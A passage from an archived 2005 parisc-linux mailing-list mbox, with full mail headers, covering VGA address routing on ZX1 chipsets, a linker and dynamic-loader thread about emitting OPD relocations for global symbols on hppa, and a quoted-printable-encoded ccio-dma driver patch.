MMIO space to a particular Elroy. Requires programming a directed
range in Astro and a matched "Extra LMMIO" range in Elroy.
I've never messed with this and always depended on firmware
to deal with range registers.

| VGA Frame Buffer Space
| The VGA frame buffer space is a fixed 128 k region from 640 k to (768 k - 1).
| The only PCI bus in the system that will claim this space is the one
| with the VGA Enable bit set. This PCI bus will also claim accesses to
| VGA I/O Space.


| VGA I/O Port Space
| The VGA I/O space is the fixed I/O space region from 0x03B0 through
| 0x03DF and the 10 bit aliases.
...
| Also, even if the VGA I/O Space overlaps the I/O space of another
| PCI bus, only the PCI bus with its VGA Enable bit set will respond
| to these ranges.

Just remember it may not work at all or fail in some wierd way.
If if doesn't work, don't ask me since I won't know either.


> If so, this could probably
> be made to work with enough kernel support.  I'm working on some
> similar stuff for ia64.

Note that pa8800 boxes also use ZX1 chipset. Please keep
parisc-linux cc'd on any patches you cook up for this.

thanks again ,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Mon, 20 Jun 2005 22:44:40 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <20050621024438.GP5269__4058.88158497891$1416623808$gmane$org@systemhalted.org>
References: <20050620191501.GA31614@lucon.org>
	<200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
	<20050620204056.GA351@lucon.org>
	<20050620212913.GL5269@systemhalted.org>
	<20050620224610.GA2198@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623808 14898 80.91.229.3 (22 Nov 2014 02:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: "H. J. Lu" <hjl@lucon.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 02:45:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Jun 2005 04:45:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CEFD7D6FA;
	Mon, 20 Jun 2005 20:45:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11181-04; Mon, 20 Jun 2005 20:45:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1BD7D6F6;
	Mon, 20 Jun 2005 20:45:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 001447D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:45:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10738-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:45:12 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5F7AE7D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:45:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DkYki-0006e7-00; Mon, 20 Jun 2005 22:44:40 -0400
Content-Disposition: inline
In-Reply-To: <20050620224610.GA2198@lucon.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aBrFYjNAeSEkSL6WZHQhaXN1IGRvbwBG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22790

On Mon, Jun 20, 2005 at 03:46:10PM -0700, H. J. Lu wrote:
> > Regardless of wether or not I export all global symbols in main, I must
> > still emit OPD relocs in the executable for all dynamic symbols. In the
> 						^^^^^^^^^^
> 
> Did you mean dynamic or global? There is a big difference. In your
> proposal, you said "We want to generate a PLABEL32 (OPD reloc) against
> all global symbols,". I am not familiar with HPPA. I just want to know
> what you have in mind.

Sorry for being sloppy, there is a qualifier in my mind that I keep
forgetting to write, read the following:

ld must emit an OPD reloc in the executable for each global symbol that
had an OPD reloc to begin with. This way the dynamic loader can assign
an OPD at runtime for use in a comparison. Dynamic symbols that had an
OPD reloc should also emit the reloc in the executable.

Previously an executable just pointed the OPD data word for global and 
dynamic symbols at their associated .plt entries (since .plt entries
like on ia64 are function descriptors). No OPD reloc emitted. Thus the
address of the OPD was really the address of the .plt entry.

This meant that if you passed the address of a dynamic symbol to a shared
library function, from which the symbol came from, the two addresses
would be different. One would point to the executables .plt entry for
that dynamic symbol, while the shared library would have an OPD for that
symbol. The ip/gp of both would be the same though (after resolution of
the .plt that is).

The shared case in hppa was always different, and a DSO has always
created OPD relocs against symbols that started with OPD relocs.
 
> > past the OPD reloc was "fudged" and pointed at the PLT, and this is not
> > a satisfactory situation. I want ld.so.1 to generate the OPD so we no
> > longer need gcc to emit the __cffc helper function for comparisons.

Calling through the .plt is still faster than calling through an OPD.
You can still call through an OPD using $dyncall in hppa.
Thus we probably want to keep the .plt entry even though we are creating
an OPD that could be used to call through.

---

I'm still a bit wet behind the ears, and I fumble the terminology, so
please accept my apologies.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Tue, 21 Jun 2005 11:21:58 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <200506211521.j5LFLwgJ011696__38288.3194754415$1416623808$gmane$org@hiauly1.hia.nrc.ca>
References: <20050621024438.GP5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623808 14910 80.91.229.3 (22 Nov 2014 02:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:48 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 hjl@lucon.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 15:22:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 21 Jun 2005 17:22:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 183627D6F5;
	Tue, 21 Jun 2005 09:22:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16290-10; Tue, 21 Jun 2005 09:22:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D278F7D6F8;
	Tue, 21 Jun 2005 09:22:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B99F87D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 09:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16290-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 09:22:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1CDA47D6F1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 09:22:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5LFM0nV011697; Tue, 21 Jun 2005 11:22:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5LFLwgJ011696;
	Tue, 21 Jun 2005 11:21:58 -0400 (EDT)
In-Reply-To: <20050621024438.GP5269@systemhalted.org> from "Carlos O'Donell"
	at Jun 20, 2005 10:44:40 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 81XKYsF6eSEkQ76WZHQhaXN1IGRvbwC/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22791

> On Mon, Jun 20, 2005 at 03:46:10PM -0700, H. J. Lu wrote:
> > > Regardless of wether or not I export all global symbols in main, I must
> > > still emit OPD relocs in the executable for all dynamic symbols. In the
> > 						^^^^^^^^^^
> > 
> > Did you mean dynamic or global? There is a big difference. In your
> > proposal, you said "We want to generate a PLABEL32 (OPD reloc) against
> > all global symbols,". I am not familiar with HPPA. I just want to know
> > what you have in mind.
> 
> Sorry for being sloppy, there is a qualifier in my mind that I keep
> forgetting to write, read the following:
> 
> ld must emit an OPD reloc in the executable for each global symbol that
> had an OPD reloc to begin with. This way the dynamic loader can assign
> an OPD at runtime for use in a comparison. Dynamic symbols that had an
> OPD reloc should also emit the reloc in the executable.

There is a difference between ia32 and hppa.  As you note, global
symbols are not automatically exported on ia32, even when the symbol
is used in a function-pointer comparison.  This is possible because
ia32 doesn't use function descriptors.

However, on hppa, GCC generates a PLABEL32 relocation when a function
symbol is used in a comparison.  If this relocation resolves to a
non-unique function descriptor in the PLT, then we get comparison
errors when symbols get passed between shared and main for comparison.
As a result, hpux and linux currently have magic functions to
canonicalize function pointers.  Aside from this being inefficient,
it also causes issues for building kernel software (i.e., canonicalization
is only applicable to user space).

Having the PLABEL32 relocation resolve to an OPD appears to require
that the symbol be exported.  As a result, we have a different behaviors
for dlsym on hppa and ia32.  What's ia64 do?

Under hpux, in a 32-bit link or a +compat mode 64-bit link, ld marks
only those symbols symbols that are actually referenced by a shared
library seen at link time for export.  In a 64-bit +std link, all symbols
are exported by default.  However, explicitly exporting symbols has
the side effect that the symbols will not be removed when using dead
code elimination.

>>From my standpoint, I would like to see the same behavior for both
32 and 64-bit links when hppa linux supports both 32 and 64-bit 
user spaces.  The original linux implementation was modelled on hpux
but over the years we have found that hpux compatibility isn't
important.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ccio-dma more debuging
Date: Tue, 21 Jun 2005 18:01:21 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <42933E2F0000A9DC@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623808 14916 80.91.229.3 (22 Nov 2014 02:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:48 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Grundler Grant" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 16:01:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 21 Jun 2005 18:01:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A2BA7D70D;
	Tue, 21 Jun 2005 10:01:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16908-03; Tue, 21 Jun 2005 10:01:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 757AF7D70E;
	Tue, 21 Jun 2005 10:01:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AE1C7D709
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:01:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16574-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:01:29 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 2E5D27D706
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:01:29 -0600 (MDT)
Original-Received: from 10.39.115.131 by mrq-2 with esmtp (Exim)
	id 1DklBi-0001M1-Hk; Tue, 21 Jun 2005 18:01:26 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 21 Jun 2005 18:01:21 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EV/KYu8FeSEkVL6WZHQhaXN1IGRvb8DW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22792

Hello Grant,

2 small stuff:
    o testing the following patch on my d380, I just figure out that (by
accident ;-) ) 2.6.12-pa1 was working in _smp_  ;-)
      (it compiled 2 kernels (a 32 and a 64bit) in the same time in two d=
ifferent
fs during more then 2h 
       without neither smp error messages nor hanging ;-)
      may be a better basis to test Ingo stuff (if you have new patches t=
o
make me test)?

    o some additional ccio-dma stuff I would like to submit you (if you s=
till
have some time):
 --- drivers/parisc/ccio-dma.c.Orig      2005-06-21 17:15:16.000000000 +0=
200
+++ drivers/parisc/ccio-dma.c   2005-06-21 17:19:46.000000000 +0200
@@ -226,14 +226,16 @@
 */
 
 struct ioc {
-       struct ioa_registers __iomem *ioc_regs;  /* I/O MMU base address
*/
-       u8  *res_map;                   /* resource map, bit =3D=3D pdir =
entry
*/
-       u64 *pdir_base;                 /* physical base address */
-       u32 pdir_size;                  /* bytes, function of IOV Space s=
ize
*/
-       u32 res_hint;                   /* next available IOVP - 
+       struct ioa_registers
+               __iomem *ioc_regs;      /* I/O MMU base address */
+       unsigned char   *res_map;       /* resource map, bit =3D=3D pdir =
entry
*/
+       u64             *pdir_base;     /* physical base address */
+       unsigned int     pdir_size;     /* bytes, function of IOV Space s=
ize
*/
+       unsigned long    res_hint;      /* next available IOVP - 
                                           circular search */
-       u32 res_size;                   /* size of resource map in bytes
*/
-       spinlock_t res_lock;
+       spinlock_t       res_lock;
+       unsigned int     res_size;      /* size of resource map in bytes
*/
+       unsigned int     res_bitshift;  /* from the LEFT! */
 
 #ifdef CCIO_SEARCH_TIME
 #define CCIO_SEARCH_SAMPLE 0x100
@@ -302,7 +304,7 @@
        for(; res_ptr < res_end; ++res_ptr) { \
                if(0 =3D=3D (*res_ptr & mask)) { \
                        *res_ptr |=3D mask; \
-                       res_idx =3D (unsigned int)((unsigned long)res_ptr=
 -
(unsigned long)ioc->res_map); \
+                       res_idx =3D ((unsigned long)res_ptr - (unsigned l=
ong)ioc->res_map);
\
                        ioc->res_hint =3D res_idx + (size >> 3); \
                        goto resource_found; \
                } \
@@ -341,14 +343,16 @@
 static int
 ccio_alloc_range(struct ioc *ioc, size_t size)
 {
-       unsigned int pages_needed =3D size >> IOVP_SHIFT;
-       unsigned int res_idx;
+       unsigned int    pages_needed;
+       unsigned long   res_idx;
 #ifdef CCIO_SEARCH_TIME
        unsigned long cr_start =3D mfctl(16);
 #endif
 
+       pages_needed =3D size >> IOVP_SHIFT;
+
        BUG_ON(pages_needed =3D=3D 0);
-       BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
+       BUG_ON(pages_needed > BITS_PER_LONG);
      
        DBG_RES("%s() size: %d pages_needed %d\n", 
                __FUNCTION__, size, pages_needed);
@@ -383,12 +387,11 @@
                CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~0UL, 64);
 #endif
        } else {
-               panic("%s: %s() Too many pages to map. pages_needed: %u\n=
",
-                      __FILE__,  __FUNCTION__, pages_needed);
+               panic("%s() Too many pages to map. pages_needed: %u\n",
+                      __FUNCTION__, pages_needed);
        }
 
-       panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__=
,
-             __FUNCTION__);
+       panic("%s() I/O MMU is out of mapping resources.\n", __FUNCTION__=
);
 
 resource_found:
 
@@ -435,7 +438,6 @@
        unsigned int res_idx =3D PDIR_INDEX(iovp) >> 3;
 
        BUG_ON(pages_mapped =3D=3D 0);
-       BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
        BUG_ON(pages_mapped > BITS_PER_LONG);
 
        DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
=3D=3D=3D=3D<>=3D=3D=3D=3D

As previoulsy said, tested with success on d380 smp 32bit kernel (the 64b=
it
twin is ongoing to be compiled...)

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Tue, 21 Jun 2005 18:09:43 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <jeekavhet4.fsf__27730.0827125602$1416623809$gmane$org@sykes.suse.de>
References: <200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623809 14920 80.91.229.3 (22 Nov 2014 02:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:49 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 Carlos O'Donell <carlos@systemhalted.org>,
 hjl@lucon.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 16:09:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 21 Jun 2005 18:09:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3E887D70D;
	Tue, 21 Jun 2005 10:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16908-10; Tue, 21 Jun 2005 10:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F2D07D712;
	Tue, 21 Jun 2005 10:09:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 713C57D709
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:09:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16840-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:09:46 -0600 (MDT)
Original-Received: from mx1.suse.de (ns.suse.de [195.135.220.2])
	by free.linux.hp.com (Postfix) with ESMTP id B9D477D706
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 10:09:45 -0600 (MDT)
Original-Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 30E2DED78;
	Tue, 21 Jun 2005 18:09:44 +0200 (CEST)
X-Yow: An Italian is COMBING his hair in suburban DES MOINES!
In-Reply-To: <200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca> (John David
	Anglin's message of "Tue, 21 Jun 2005 11:21:58 -0400 (EDT)")
User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/22.0.50 (gnu/linux)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hV7KYs45eSEkfL6WZHQhaXN1IGRvb4BI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22793

"John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:

> Having the PLABEL32 relocation resolve to an OPD appears to require
> that the symbol be exported.  As a result, we have a different behaviors
> for dlsym on hppa and ia32.  What's ia64 do?

hppa needs to be fixed to implement correct variants of the macros in
dl-lookupcfg.h.  It probably just has to copy the definitions of
DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
_dl_runtime_{resolve,profile} has to be adapted accordingly.

Andreas.

-- 
Andreas Schwab, SuSE Labs, schwab@suse.de
SuSE Linux Products GmbH, Maxfeldstrae 5, 90409 Nrnberg, Germany
Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
